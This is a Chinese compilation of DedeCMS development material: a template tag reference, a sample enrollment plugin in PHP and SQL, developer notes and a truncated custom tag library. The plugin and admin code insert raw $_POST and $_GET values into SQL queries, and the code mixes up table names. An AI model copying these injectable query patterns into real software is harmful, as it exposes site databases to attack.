Dede二次开发程序详解
- 格式:pdf
- 大小:509.11 KB
- 文档页数:72
phpwind 二次开发技术要点PHPWind是一款非常受欢迎的BBS论坛系统,它拥有丰富的功能和灵活的二次开发能力。
在进行PHPWind二次开发时,我们需要掌握一些关键的技术要点,以便能够快速高效地完成开发任务。
一、了解PHPWind框架结构和核心功能在进行二次开发之前,我们需要对PHPWind的框架结构和核心功能有一定的了解。
这包括了解PHPWind的目录结构、文件组织方式以及核心功能模块的实现方式等。
只有了解了这些基本概念,我们才能更好地进行二次开发。
二、掌握PHP编程技术PHPWind是基于PHP语言开发的,因此我们需要熟悉PHP编程技术。
这包括了解PHP的语法、函数库和面向对象编程等方面的知识。
只有熟练掌握了PHP编程技术,我们才能够在二次开发中灵活运用这些技术,提高开发效率。
三、熟悉PHPWind的数据库结构和操作方法PHPWind的数据存储是基于关系型数据库的,因此我们需要熟悉PHPWind的数据库结构和操作方法。
这包括了解PHPWind的数据库表结构、字段含义和操作方式等。
只有熟悉了数据库结构和操作方法,我们才能够在二次开发中对数据库进行操作,实现自己的需求。
四、了解PHPWind的模板引擎和模板语法PHPWind使用自己的模板引擎来实现页面的展示和渲染,因此我们需要了解PHPWind的模板引擎和模板语法。
这包括了解PHPWind模板引擎的基本工作原理、模板语法的使用方法和常用的模板标签等。
只有掌握了模板引擎和模板语法,我们才能够在二次开发中灵活运用模板技术,实现自定义的页面展示效果。
五、熟悉PHPWind的插件机制和扩展接口PHPWind提供了插件机制和扩展接口,方便开发者对系统进行功能扩展和定制。
我们需要熟悉PHPWind的插件机制和扩展接口,了解插件的开发方式和接口的使用方法。
只有熟悉了插件机制和扩展接口,我们才能够针对自己的需求进行功能扩展和定制。
六、注重代码的规范和优化在进行PHPWind二次开发时,我们需要注重代码的规范和优化。
标签篇adminname仅内容模板V55,V56,V57获得责任编辑名称基本语法{dede:adminname /}arclist全局标记V55,V56,V57获取指定文档列表基本语法{dede:arclist flag='h' typeid='' row='' col='' titlelen='' infolen='' imgwidth='' imgheight='' type='' orderby='' keyword='' limit='0,1'}<a href='[field:arcurl/]'>[field:title/]</a>{/dede:arclist}标签属性∙col:分多少列显示(默认为单列),5.3版中本属性可以通过多种方式进行多行显示∙row:返回文档列表总数(获取的总记录数)∙typeid:栏目ID,在列表模板和档案模板中一般不需要指定,在首页模板中允许用","分开表示多个栏目∙getall:在没有指定这属性的情况下,在栏目页、文章页模板,不会获取以","分开的多个栏目的下级子类∙titlelen:标题长度等同于titlelength∙infolen:表示内容简介长度等同于infolength∙imgwidth:缩略图宽度∙imgheight:缩略图高度∙type: 栏目类型image含有缩略图commend推荐∙orderby:文档排序方式∙keyword:含有指定关键字的文档列表,多个关键字用","分∙innertext:单条记录样式∙aid:指定文档ID∙idlist:提取特定文档(文档ID∙channelid:频道ID∙limit:(起始ID从0开始)表示限定的记录范围(如:limit='1,2' 表示从ID为1的记录开始,取2条记录∙flag:自定义属性值:头条[h]推荐[c]图片[p]幻灯[f]滚动[s]跳转[j]图文[a]加粗[b]∙noflag:同flag,但这里是表示不包含这些属性∙orderway:值为desc 或asc ,指定排序方式是降序还是顺向排序,默认为降序∙subday:表示在多少天以内的文档∙Limit和row 的优先级limit 优先∙关于图片显示,如果没有type属性那么所有记录都显示缩略图,没有缩略图的显示默认的,type属性值为image 时显示只带缩略图的记录,type属性值为commend时显示推荐的记录∙同一属性多次存在时,执行最后一个属性值arclistsg全局标记V55,V56,V57单表独立模型的文档列表调用标记基本语法{dede:arclistsg flag='h' typeid='' row='' col='' titlelen='' orderway='' keyword='' limit='0,1'}<a href='[field:arcurl/]'>[field:title/]</a>{/dede:arclistsg}标签属性∙row:返回文档列表总数∙typeid:栏目ID,在列表模板和档案模板中一般不需要指定,在封面模板中允许用","分开表示多个栏目∙titlelen:标题长度等同于titlelength∙orderwey:排序方向∙keyword:含有指定关键字的文档列表,多个关键字用","分∙innertext:单条记录样式(innertext是放在标签之间的代码)∙arcid:指定文档ID∙idlist:提取特定文档(文档ID)∙channelid: 频道ID∙limit:表示限定的记录范围∙flag:自定义属性值:头条[h]推荐[c]图片[p]幻灯[f]滚动[s]跳转[j]图文[a]加粗[b]∙subday:表示在多少天以内的文档∙arcpagelistask全局标记V55,V56,V57问答调用标签基本语法{dede:ask row='6' qtype='new' tid='0' titlelen='24'}<dd><span class="tclass">[<a href='[field:typeurl/]'>[field:tidname/]</a>]</span><span class="tlink"><a href="[field:url/]">[field:title/]</a></span></dd>{/dede:ask}标签属性∙row:调用条数∙qtype:排序类型commend 推荐、ok 表示已解决问题、high 高分问题、new 最新问题∙tid:栏目id,默认是全部∙titlelen:标题长度autochannel全局标记V55,V56,V57指定排序位置的单个栏目的链接基本语法{dede:autochannel partsort='' typeid=’’}{/dede:autochannel}标签属性∙partsort:栏目所在的排序位置∙typeid:获取单个栏目的顶级栏目bookcontentlist全局标记V55,V56,V57连载图书最新内容调用基本语法{dede:bookcontentlist row='12' booktype='-1' orderby='lastpost' author='' keyword=''} <table width="100%" border="0" cellspacing="2" cellpadding="2"><tr><td width='40%'>[[field:cataloglink/]] [field:booklink/]</td><td width='40%'>[field:contentlink/]</td><td width='20%'>[field:lastpost function="GetDateMk(@me)"/]</td></tr></table>{/dede:bookcontentlist}标签属性∙row:调用记录条数∙booktype:图书类型,0 图书、1 漫画,默认全部∙orderby:排序类型,当按排序类型为commend 表示推荐图书∙author:作者∙keyword:关键字booklist全局标记V55,V56,V57连载图书调用基本语法{dede:booklist row='12' booktype='-1' orderby='lastpost' author='' keyword=''}<a href='[field:bookurl /]'>[field:bookname /]</a><br />{/dede:booklist}标签属性∙row:调用记录条数∙booktype:图书类型,0 图书、1 漫画,默认全部∙orderby:排序类型,当按排序类型为commend 表示推荐图书∙author:作者∙keyword:关键字cattree全局标记V55,V56,V57调用树形类目基本语法{dede:cattree typeid='' catid='' showall=''/}标签属性∙typeid:顶级树id∙catid:上级栏目id∙showall:在空或不存在时,强制用产品模型id;如果是yes 刚显示整个语言区栏目树;为其它数字则是这个数字的模型的id∙Typeid 存在值表示获取该栏目同级的同类型分类树,catid 存在值获取该栏目下的分类树∙Catid 的优先级高于typeidchannel全局标记V55,V56,V57用于获取栏目列表基本语法{dede:channel type='top' row='8' currentstyle="<li><a href='~typelink~' class='thisclass'>~typename~</a> </li>"}<li><a href='[field:typelink/]'>[field:typename/]</a> </li>{/dede:channel}标签属性∙typeid:栏目ID∙reid:上级栏目ID∙row:调用栏目数∙col:分多少列显示(默认为单列)∙type:son表示下级栏目,self表示同级栏目,top顶级栏目(top 最高,只要有该值不管typeid 和reid 的值)∙currentstyle:应用样式∙channelartlist全局标记V55,V56,V57获取当前频道的下级栏目的内容列表标签基本语法{dede:channelartlist row=6}<dl><dt><a href='{dede:field name='typeurl'/}'>{dede:field name='typename'/}</a></dt> <dd>{dede:arclist titlelen='42' row='10'} <ul class='autod'><li><a href="[field:arcurl /]">[field:title /]</a></li><li>([field:pubdate function="MyDate('m-d',@me)"/])</li></ul>{/dede:arclist}</dl>{/dede:channelartlist}标签属性∙typeid:频道ID∙row:获取的栏目返回值demotag全局标记V55,V56,V57这仅是一个演示标签基本语法{dede:demotag /}feedback全局标记V55,V56,V57用于调用最新评论基本语法{dede:feedback}<ul><li class='fbtitle'>[field:username function="(@me=='guest' ? '游客' : @me)"/] 对[field:title/] 的评论:</li><li class='fbmsg'> <a href="plus/feedback.php?aid=[field:aid/]" class='fbmsg'>[field:msg /]</a></li></ul>{/dede:feedback}标签属性∙row:调用评论条数∙titlelen:标题长度∙infolen:评论长度flink全局标记V55,V56,V57用于获取友情链接基本语法{dede:flink row='24'/}标签属性∙type:链接类型∙row:链接数量∙titlelen:站点文字的长度∙linktype:链接位置内页∙typeid:所有类型,可以在系统后台[模块]-[友情链接]中的“网站类型管理”中查看∙flinktype全局标记V55,V56,V57用于获取友情链接类型基本语法{dede:flink row='24'/}标签属性∙row:链接类型数量∙titlelen:链接文字的长度group全局标记V55,V56,V57圈子调用标签基本语法{dede:group row='6' orderby='threads' titlelen='30'}<li><span><img style="visibility: inherit;" title="[field:groupname/]" src="[field:icon/]" /></span> <span><a href="[field:url/]" title="[field:groupname/]" target="_blank">[field:groupname/]</a></span></li>{/dede:group}标签属性∙row:调用条数∙orderby:排列顺序(默认是主题数)∙titlelen:圈子名称最大长度groupthread全局标记V55,V56,V57圈子主题调用标签基本语法{dede:groupthread gid='0' orderby='dateline' orderway='desc' row='12' titlelen='30'}<li><a href='[field:groupurl/]' target="_blank">[[field:groupname function="cn_substr(@me,10)"/]]</a><a href="[field:url/]" title="[field:subject/]" target="_blank">[field:subject/]</a>([field:lastpost function="GetDateMk('@me')"/])</li>{/dede:groupthread}标签属性∙gid:圈子id,默认为全部∙orderby:排序,默认为时间∙orderway:排序方向,默认是最新主题在前∙row:记录数∙titlelen:主题标题(subject)最大长度hotwords全局标记V55,V56,V57获取网站搜索的热门关键字基本语法{dede:hotwords /}标签属性∙num:关键词数目∙subday:天数∙maxlength:关键词最大长度∙infoguide全局标记V55,V56,V57分类信息的地区与小分类搜索基本语法{dede:infoguide /}infolink全局标记V55,V56,V57调用分类信息地区与类型快捷链接基本语法{dede:infolink /}json全局标记V57调用某个远程连接的json数据库基本语法{dede:json url='http://yoursite/json.php' cache=300}[field:id/]-[field:title/]<br/>{/dede:json}标签属性∙url:json数据地址∙cache:缓冲时间likearticle全局标记V55,V56,V57自动关连文档标签基本语法{dede:likearticle row='' col='' titlelen='' infolen=''}<a href='[field:arcurl/]'>[field:title/]</a>{/dede:likearticle}标签属性∙col:分多少列显示(默认为单列)∙row:返回文档列表总数∙titlelen:标题长度等同于titlelength∙infolen:表示内容简介长度等同于infolength∙mytypeid:手工指定要限定的栏目id,用,分开表示多个∙innertext:单条记录样式(指标签中间的内容)likepage全局标记V55,V56,V57调用相同标识单页文档基本语法{dede:likepage likeid='' row=''/}标签属性∙row:调用条数∙likeid:标识名∙likesgpage全局标记V55,V56,V57单页文档调用标签基本语法{dede:likespage row=''/}标签属性∙row:调用条数loop全局标记V55,V56,V57调用任意表的数据标签基本语法{dede:loop table='dede_archives' sort='' row='4' if=''} <a href='[field:arcurl/]'>[field:title/]</a>{/dede:loop}标签属性∙table:查询表名∙sort:用于排序的字段∙row:返回结果的条数∙if:查询的条件memberinfos全局标记V55,V56,V57文档关连的用户信息基本语法{dede:memberinfos mid = '' /}标签属性∙mid:用户IDmemberlist全局标记V55,V56,V57会员信息调用标签基本语法{dede:memberlist orderby='scores' row='20'}<a href="../member/index.php?uid={dede:erid /}">{dede:erid /}</a> <span>{dede:field.scores /}</span>{/dede:memberlist}标签属性∙row:调用数目∙iscommend:是否为推荐会员∙orderby:按登陆时间排序money 按金钱排序scores 按积分排序myad全局标记V55,V56,V57获取广告代码基本语法{dede:myad name=''/}标签属性∙typeid:投放范围,0为全站∙name:广告标识∙mynews全局标记V55,V56,V57站内新闻调用标签基本语法{dede:mynews row='' titlelen=''/}标签属性∙row:调用站内新闻数∙titlelen:新闻标题长度∙mytag全局标记V55,V56,V57用于获取自定义宏标记的内容基本语法{dede:mytag typeid='0' name=''/}标签属性∙name:标记名称,该项是必须的属性,以下2、3是可选属性∙ismake:默认是no 表示设定的纯HTML代码,yes 表示含板块标记的代码∙typeid:表示所属栏目的ID,默认为0 ,表示所有栏目通用的显示内容,在列表和文档模板中,typeid默认是这个列表或文档本身的栏目ID∙php全局标记V55,V56,V57调用PHP代码基本语法{dede:php}$a = "dede";echo $a;{/dede:php}productimagelistsoftmsg软件内容模板V55,V56,V57下载说明标签基本语法{dede:softmsg /}sonchannel全局标记V55,V56,V57子栏目调用标签基本语法{dede:sonchannel}<a href='[field:typeurl/]'>[field:typename/]</a>{/dede:sonchannel}标签属性∙row:返回数目∙col:默认单列显示∙nosonmsg:没有指定ID子栏目显示的信息内容∙sqlV55,V56,V57用于获取MySQL数据库内容的标签基本语法{dede:sql sql='' db='default'}[field:title/]{/dede:sql}标签属性∙sql:需要查询的sql语句∙appname: 默认为default,即当前dedecms的数据库,如果需要自定义,可以在data/tag/sql.inc.php中扩展,具体扩展方法查看配置文件头部说明tag全局标记V55,V56,V57TAG调用标签基本语法{dede:tag sort='new' getall='0'}<a href='[field:link/]'>[field:tag /]</a>{/dede:tag}标签属性∙row:调用条数∙sort:排序方式month,rand,week∙getall:获取类型0 为当前内容页TAG标记,1为获取全部TAG标记type全局标记V55,V56,V57表示指定的单个栏目的链接基本语法<a href="[field:typelink /]">[field:typename /]</a>{/dede:type}标签属性∙typeid:指定栏目IDvote全局标记V55,V56,V57用于获取一组投票表单基本语法{dede:vote id='' lineheight='22' tablewidth='100%' titlebgcolor='#EDEDE2' titlebackground='' tablebgcolor='#FFFFFF'/}{/dede}标签属性∙id:数字,当前投票ID∙lineheight:表格高度∙tablewidth:表格宽度∙titlebgcolor:投票标题背景色∙titlebackground:标题背景图∙tablebg:投票表格背景色。
织梦dedecms二次开发和织梦模板制作系列教程汇总一、织梦dedecms二次开发教程系列织梦二次开发教程(一)织梦dedeCms主要模板文件与功能说明一、概念,设计和使用模板,必须要理解下面几个概念1、板块(封面)模板:指网站主页()或比较重要的栏目封面频道使用的模板,一般用“index_识别ID.htm”命名,此外,用户单独定义的单个页面或自定义标记,也可选是否支持板块模板标记,如果支持,系统会用板块模板标记引擎去解析后才输出内容或生成特定的文件。
2、列表模板:指网站某个栏目的所有文章列表的模板,一般用“list_识别ID.htm”命名。
3、档案模板:表示文档查看页的模板,如文章模板,一般用“article_识别ID.htm”命名。
4、其它模板:一般系统常规包含的模板有:主页模板、搜索模板、RSS、JS编译功能模板等,此外用户也可以自定义一个模板创建为任意文件。
二、命名,DedeCMS模板默认命名规则如下1、模板保存位置:模板目录:{cmspath} /templets/样式名称(英文,默认为default,其中system为系统底层模板,plus为插件使用的模板)/具体功能模板文件}2、模板文件命名规范:(1)index_识别ID.htm:表示板块(栏目封面)模板;(2)list_识别ID.htm:表示栏目列表模板;(3)article_识别ID.htm:表示内容查看页(文档模板,包括专题查看页);(4)search.htm:搜索结果列表模板;(5)index.htm:主页模板;注解:[识别ID]可以在“频道模型管理”的地方获得,当然,你也可以在“频道模型管理”的地方确定某个频道的模板命名。
例:list_image.htm 表示是就是内容类型为图片集的栏目默认列表模板。
article_article.htm 表示的是文章查看页模板。
三、其它模板说明1、默认底层模板位置:{cmspath}/templets/system功能:在没有指定标记的默认底层模板的时候,系统将自动调用这个文件夹的相应文件作为底层模板。
dede插件简单的例子这是一个很简单插件实例,通过此插件,你可以知道怎么样开发一个插件,它结构是怎么设置的,数据库,后台等。
文件结构:enroll.php 文件在 plus文件下enroll.htm文件在templets/plus 文件夹下adenroll.php 文件在dede文件夹下adenroll.html 文件dede/templet文件夹下sql 文件:CREATE TABLE IF NOT EXISTS `dede_enroll` (`id` int(4) NOT NULL auto_increment,`name` varchar(20) NOT NULL,`mail` varchar(30) NOT NULL,`tag` tinyint(1) NOT NULL default '0',PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;INSERT INTO `dede_plus` (`aid`, `plusname`, `menustring`, `mainurl`, `writer`, `isshow`, `filelist`) VALU ES(30, '网上报名', '<m:item name=''网上报名'' link=''adenroll.php'' rank=''plus_网上报名'' target=''main'' />', '', 'g1000', 1, '');这里说明下为了方便我简单的设置了两个字段姓名和邮箱 tag字段是标示是否录取 1为录取第一个insert语句是添加到后台管理第二个insert语句是添加到前台导航栏enroll.php复制代码<?php//*******要先包含common.inc.php 然后 session_start(); 否则取不到session的值//*******因为common.inc.php 有关于session路径的配置include_once dirname(__FILE__).'./../include/common.inc.php';//包含配置文件session_start();require_once DEDEINC."/arc.partview.class.php";//包含partiew类//*****实例化这个类的作用是得到头部导航栏和尾部信息若不需要可以使用dedetemplate.class.php 这个类$pv = new PartView();if($_POST){if( CheckEmail($_POST['mail'])==false){//验证邮箱方法在common.func.php 公用函数ShowMsg('邮箱格式错误','-1');exit();}if($_POST['name']==""){ShowMsg('用户名不能为空','-1');exit();}else{$name=htmlspecialchars($_POST['name']);}if($_SESSION['dd_ckstr']!=strtolower($_POST['validation'])){//验证验证码必须转换成小写ShowMsg('验证码错误',-1);exit();}$sql="insert into `cms_enroll`(name,mail) values('$name','$_POST[mail]')";//********$db可直接使用系统自动实例化了dedesql.class.php$affected = $db->ExecuteNoneQuery2($sql);//执行一条语句返回影响值if($affected){ShowMsg('报名成功',-1);}}else{$pv->SetTemplet(DEDETEMPLATE.'/plus/enroll.htm');//设置模板$pv->Display();//显示页面}?>enroll.htm复制代码<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "/TR/xhtml1/ DTD/xhtml1-transitional.dtd"><head><title>{dede:global.cfg_webname/}-在线报名</title><link href="{dede:global.cfg_templeturl/}/style/dedecms.css" rel="stylesheet" media="screen" type="tex t/css" /></script></head><body>{dede:include filename="../default/head.htm"/}<!-- 包含头部 --><blockquote style="margin:50px auto" ><form method="post" action="">姓名:<input type="text" size=30 name="name" /><br /><br />邮箱:<input type="text" size=30 name="mail" /><br /><br /><!--vdimgck.php 是验证码-->验证码:<input type="text" name="validation" /><img src="../../include/vdimgck.php" /><br /><br /> <input name="encoll" type="submit" value="报名" /><br /></form></blockquote>{dede:include filename="../default/footer.htm"/}<!-- 包含尾部 --></body></html>adenroll.php复制代码<?phprequire_once(dirname(__FILE__).'/config.php');//后台配置文件检查登陆配置信息require_once(DEDEINC."/datalistcp.class.php");//包含分页类if($_GET['action']&&$_GET['id']){if($_GET['action']=='pass'){//各种操作$db->ExecuteNoneQuery("update cms_enroll set `tag`=1 where id='$_GET[id]'");ShowMsg('录取成功','adenroll.php');}if($_GET['action']=='nopass'){$db->ExecuteNoneQuery("update cms_enroll set `tag`=0 where id='$_GET[id]'");ShowMsg('取消录取','adenroll.php');}if($_GET['action']=='delete'){$db->ExecuteNoneQuery("delete from cms_enroll where id='$_GET[id]'");ShowMsg('删除成功','adenroll.php');}}else{$dl = new DataListCP();$dl->pageSize = 10;//每页显示10条$dl->SetTemplate('./templets/adenroll.htm');//载入模板$sql="select * from cms_enroll";$dl->SetSource($sql);//执行sql 不能与$dl->SetTemplate 颠倒$dl->Display();//显示页面}?>adenroll.html复制代码<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""/TR/xhtml1/D TD/xhtml1-transitional.dtd"><head><title>在线报名管理</title><link href='img/base.css' rel='stylesheet' type='text/css' /><style type="text/css">th,td{text-align:center;border:1px #D1DDAA solid;font-size:15px;}th{background:#E6F8B7;}table{margin-top:20px;}</style></head><body><table width="90%" border="0" cellpadding="0" cellspacing="0" align="center"> <tr><th>姓名</th><th>E-mail</th><th>状态</th><th>操作</th></tr><!-- 循环得到结果 -->{dede:datalist}<tr><td>{dede: /}</td><td>{dede:field.mail /}</td><td>{dede:if field.tag==0}未录取{else}<font color="red">已录取</font>{/dede:if}</td><td> <a href="adenroll.php?action=pass&id={dede:field.id /}">[录取]</a>|<a href="adenroll.php?action=nopass&id={dede:field.id /}">[不通过]</a>|<a href="adenroll.php?action=delete&id={dede:field.id /}">[删除]</a></td></tr>{/dede:datalist}</table><!-- 分页标签 --><p style="text-align:center;font-size:15px;">{dede:pagelist listitem="info,index,end,pre,next,pageno" lis tsize="5"/}</p></body></html>。
程序篇4.1、自定义模型使用教程在织梦系统中有内容模型这个概念,不同内容模型可以用来构建不同内容形式的站点,在系统中自带了以下几种模型:普通文章、图集、软件、商品、分类信息、专题。
通过系统自带的模型,我们可以用来构建不同类型的站点,例如:使用图集可以做一个图片站,用软件模型构建一个软件下载站点。
当然以上随系统附带的模型被称为系统模型,用户可以自己定义一些模型,比如图书、音乐专辑等,自定义了这些模型才可以构建更多内容形式的站点,本篇将讲述如何使用系统的自定义模型管理功能来实现内容模型的构建。
我们首先登录系统后台,点击[核心]-[内容模型管理],进入内容模型管理界面,如下图所示:这里我们介绍几个相关参数的概念:•ID号用于区分模型的唯一ID,一般常规模型的ID都是大于0的,比如普通文章、软件等,如果使用了单表模型,ID一般需要小于-1,例如这里的分类信息模型;•频道名称用于识别频道类型的标识;•识别id系统用于识别的id,这个关系到模板方面;•附加表系统内容附加表项;•模型类型分为系统类型和自动类型,系统类型为固化在系统中的内容模型,自动类型为用户可创建的内容模型类型;接下来我们开始介绍如何使用自定义模型管理来创建一个自己的模型,并且用于建设不同内容类型的网站中去。
这里我们介绍一些周边的内容,几个要用到的概念:•字段在数据库中,表的列称为字段,织梦系统也是如此,但更恰当的说法,存储某个内容信息单元,称为字段,例如标题、来源、作者等都是一个字段;•内容系统主表程序将一些公用字段存储在系统主表dede_archives,例如:标题、关键词、缩略图等,主表具体字段可以查询织梦帮助中心()的有关二次开发手册数据表部分的内容;•附加表不同内容模型对应不同的附加表,通常以dede_addon[识别ID]命名,附加表中存放的都是详细内容的相关字段(非公用),例如:文章内容(dede_addonarticle)、软件类型(dede_addonsoft)、图片集合(dede_addonimage)等;•单表独立模型存储时候不用到“主表+附加表”的结构形式,直接使用单个数据表进行存储内容数据,这样脱离主从表,减少主表数据服在开销,可以从很大程度上解决数据负载问题;明白了以上几个概念我们可以来学习如何来自己创建一个内容模型了。
基于开源内容管理系统DedeCMS模版技术的二次开发探究作者:易洋, 周燕飞来源:《电脑知识与技术》2009年第34期摘要:DedeCMS是2004年出现的一款CMS。
是一款完全开源的CMS系统。
DedeCMS是国内知名内容管理系统,经超过20万以上站长级用户群经过长达4年之久的广泛应用和复杂化环境的检测,在安全性、稳定性、易用性方面具有较高的声誉,倍受广大站长推崇。
该文主要是针对DedeCMS模板与标签的可扩展性进行研究,并对其模板做一定二次开发应用。
关键词:dedecms;模板;二次开发;开源中图分类号:TP311文献标识码:A文章编号:1009-3044(2009)34-9729-04Probe into the Secondary Development Based on the Open Source Content Management System YI Yang, ZHOU Yan-fei(Nanjing University of Aeronautics and Astronautics, Nanjing 210001, China)Abstract: DedeCMS is a kind of CMS, which appeared in 2004, and is a completing open source CMS systems. DedeCMS is the well-known content management system in china, expericing more than 2000 user group above-level owers and extensive using and complexity environmental testing for more than four years, which has a highier reputation in security,stability,ease of use,and is respected by the general owners. This article is aimed to study DedeCMS templetes and the scalability of the labels, to develop and applicate the secondary template.Key words: dedecms; template; secondary development; open sourceCMS大概2004以前,若要进行网站内容管理基本上都是靠手工维护。
dedecms二次开发总结1.后台所有目录在upload/dede2.后台大标题修改在upload/dede/inc/inc_menu.php3控制器有三个,例如ad_add.php ad_main.php ad_edit.php4.模板放在templets下面,名字跟模块名字相同,格式为htm5.在数据库中增加数据,直接写sql语句$query = "INSERT INTO #@__ad(ad_code,ap_code,ad_name,weight,ck_flg,lang_id,show_flg, position,dis_id,ad_info,ad_pic,bg_colour,font_colour,width,hei ght,ps_id,link_url)VALUES('$ad_code','$ap_code','$ad_name','$weight','$ck_flg','$ lang_id','$show_flg','$position','$dis_id','$ad_info','$ad_pic',' $bg_colour','$font_colour','$width','$height','$ps_id','$link_url ');";$dsql->ExecuteNoneQuery($query);ShowMsg("成功增加一个广告!","ad_main.php");exit();6.也可以放入一个数组中,然后处理$dsql->Execute('dd','SELECT * FROM `#@__myadtype` ORDER BY id DESC');$option = '';while($arr = $dsql->GetArray('dd')){$option .= "<option value='{$arr['id']}'>{$arr['typename']}</option>\n\r";}7.模板分配$dlist = new DataListCP();$dlist->SetTemplet(DEDEADMIN."/templets/ad_main.htm");$dlist->SetSource($sql);$dlist->display();8.模板输出{dede:datalist}<td>{dede:field.weight /}</td><td>{dede:ng_id function='lang(@me)'/}</td>{/dede:datalist}9.模板输出可以使用函数改变输出值,function='lang(@me)'.函数在模块中定义.10.用旧数据插入随即排练插入多条数据INSERT INTO t_device(`DV_CODE`,`LANG_ID`,`PT_ID`)SELECTDV_CODE, LANG_ID, PT_IDFROM t_adver_ap11.添加全选按钮,进行删除等操作,删除只能是删除本页全选的数据<a href="javascript:selAll()"class="coolbg">全选</a><a href="javascript:noSelAll()"class="coolbg">取消</a><a href="javascript:checkArc(0)"class="coolbg"> 审核 </a><a href="javascript:showArc(0)"class="coolbg"> 显示 </a><a href="javascript:delArc(0)"class="coolbg"> 删除 </a>js代码function selAll(){for(i=0;i<document.form2.arcID.length;i++){if(!document.form2.arcID[i].checked){document.form2.arcID[i].checked=true;}}}function noSelAll(){for(i=0;i<document.form2.arcID.length;i++){if(document.form2.arcID[i].checked){document.form2.arcID[i].checked=false;}}}//获得选中文件的文件名function getCheckboxItem(){var allSel="";if(document.form2.arcID.value) return document.form2.arcID.value;for(i=0;i<document.form2.arcID.length;i++){if(document.form2.arcID[i].checked){if(allSel=="")allSel=document.form2.arcID[i].value;elseallSel=allSel+"`"+document.form2.arcID[i].value;}}return allSel;}//获得选中其中一个的idfunction getOneItem(){var allSel="";if(document.form2.arcID.value) return document.form2.arcID.value;for(i=0;i<document.form2.arcID.length;i++){if(document.form2.arcID[i].checked){allSel = document.form2.arcID[i].value;break;}}return allSel;}function checkArc(ad_id){var qstr=getCheckboxItem();//if(aid==0) aid = getOneItem();location="ad_edit.php?qstr="+qstr+"&dopost=check";}function showArc(ad_id){var qstr=getCheckboxItem();//if(aid==0) aid = getOneItem();location="ad_edit.php?qstr="+qstr+"&dopost=show";}function delArc(ad_id){var qstr=getCheckboxItem();//if(ad_id==0) ad_id = getOneItem();location="ad_edit.php?qstr="+qstr+"&dopost=delete";}编辑模块代码if($dopost=='delete'){$qstrs = explode("`",$qstr);//print_r($qstrs);if( !empty($ad_id) && empty($qstr) ){$dsql->ExecuteNoneQuery("DELETE FROM `#@__ad` WHERE ad_id='$ad_id' ");ShowMsg("成功删除一则广告代码!",$ENV_GOBACK_URL);exit();}if($qstr==''){ShowMsg("请至少选择一个!",$ENV_GOBACK_URL);exit();}foreach($qstrs as $ad_id){$dsql->ExecuteNoneQuery("DELETE FROM `#@__ad` WHERE ad_id = '$ad_id' ");};ShowMsg("成功删除广告!",$ENV_GOBACK_URL);exit;}总结:写一个函数,获取全选的id值,然后各种按钮对应的操作以及传过去的值,这也写在一个js中,例如本例中delarc();然后在模块中根据各种情况进行操作,例如判断是从单个点击过来的,还是通过全选过来的.12.对于让select 选择后保持状态的问题最恨的招数就是把参数定死,然后在页面的对应选择框中加入如下代码<?php if ($_GET['ck_flg']==0) echo 'selected'; ?>这种情况用于进行搜索时候,默认值在数据库中没有值,但是你在一开始需要把所有结果都显示出来,(如果不加参数,会出现默认值为未审核,未审核的值为0)13.用以前模块改写时.容易出现问题,(我把广告管理改为应用管理),在插入数据库中时,始终改变不了类别,纠结了一晚上,原来是sql语句在修改时带上逗号或是丢了逗号,每回都那么巧,都有错,一定要细心.灵异事件发生,就要细心,细心,再细心!!!!14.如何在预览图片然后返回,一个办法是写链接时候target="_blank";另外一种办法就是先写个div,加载时候隐藏,然后用js控制,当点击原图片的时候,显示div,把这个div层的图片换掉,当再次点击,div又隐藏.控制层(定义一个函数)function MediaType($nurl){return "图片<a href=\"javascript:;\" onClick=\"ChangeImage('$nurl');\"><imgsrc='../include/dialog/img/picviewnone.gif' name='picview' border='0' alt='预览'></a>";}view层<style>.napisdiv{right:100px;top:200px;width:150px;height:100px;position:absolute ;z-index:3}</style><script>function ChangeImage(surl){document.getElementById("floater").style.display="block";document.getElementById('picview').src = surl; }function ChangeImages(surl){document.getElementById("floater").style.display="none";document.getElementById('picview').src = surl; }window.onload=hidediv;function hidediv(){document.getElementById("floater").style.display="none";}</script><div id="floater"class="napisdiv"><a href="javascript:;" onClick="ChangeImages('../include/dialog/img/picviewnone.gif');"> <img src='../include/dialog/img/picviewnone.gif'id='picview' name='picview'border='0'alt='单击关闭预览'style='z-index:10000'> </a></div><td>{dede:field.mediatype function="MediaType(@me)"/}</td>15.当数据库插不入数据的时候,检查两个方面,一个是sql语句是否错误,另一个是字段是否为非空.。
<?php/***志龙二次开发标签(基于type标签的二次开发,可以实现指定多个typeid,用于调用多个栏目)* 例子是{dede:type typeid='x,x,x,x,....'}属于全局标签,此处的x指的是栏目ID的哦!********底层模板[field:typeurl/]********底层模板[field:typename/]【一般用于调用多个顶级栏目。
制作栏目导航,后续会开发可以实现同时调用顶级栏目下二级栏目】********{/dede:type} 为了便于以后的学习者加以开发,志龙在这里尽可能多的对代码进行注释,有兴趣的朋友可以参考,结合dedetag.php dedesql.php去看咯***********************************************************/if (!defined('DEDEINC'))exit('Request Error!');function lib_demo2(&$ctag, &$refObj)//此处可能会有人疑惑,这两个变量$ctag,$refObj,其实这里应用了引用传递,有&符,你需要了解PHP相关知识,他们是两个类,可以通过var_dump()测试,而且他们两个可以接收你在引用该标签的,后面所加属性以及属性值【注意:可以接收任何你所赋予的属性和属性值,若是下面想调用就得从数据库里调用而且通过函数处理】{//echo '<pre>';//var_dump($row1);//die();global $dsql, $envs; //定义了两个全局变量$attlist = 'typeid|0';//这是typeid的默认值0FillAttsDefault($ctag->CAttribute->Items, $attlist);//函数处理,这个函数是用来将属性值赋予到当前符号表里extract($ctag->CAttribute->Items, EXTR_SKIP);//将类ctag这个类下面的对象实例中的数组进行拆分,将其键名作为作为变量名,值就是该变量的值,这个大写的后的参数是为了防止变量名冲突$innertext = trim($ctag->GetInnerText());//获取底层模板,并且去除里面的空字符$revalue = "";//给变量赋值为空if ($typeid == 0) {$typeid = (isset($refObj->TypeLink->TypeInfos['id']) ? $refObj->TypeLink->TypeInfos['id'] : $envs['typeid']);}//这是一个判断句,就是使用该标签时,typeid没有赋值,利用一个三目表达式来确定其typeid值,若是设置了TypeInfos['id']),那么typeid为$refObj->TypeLink->//TypeInfos['id'],没有设置就为$envs['typeid'] 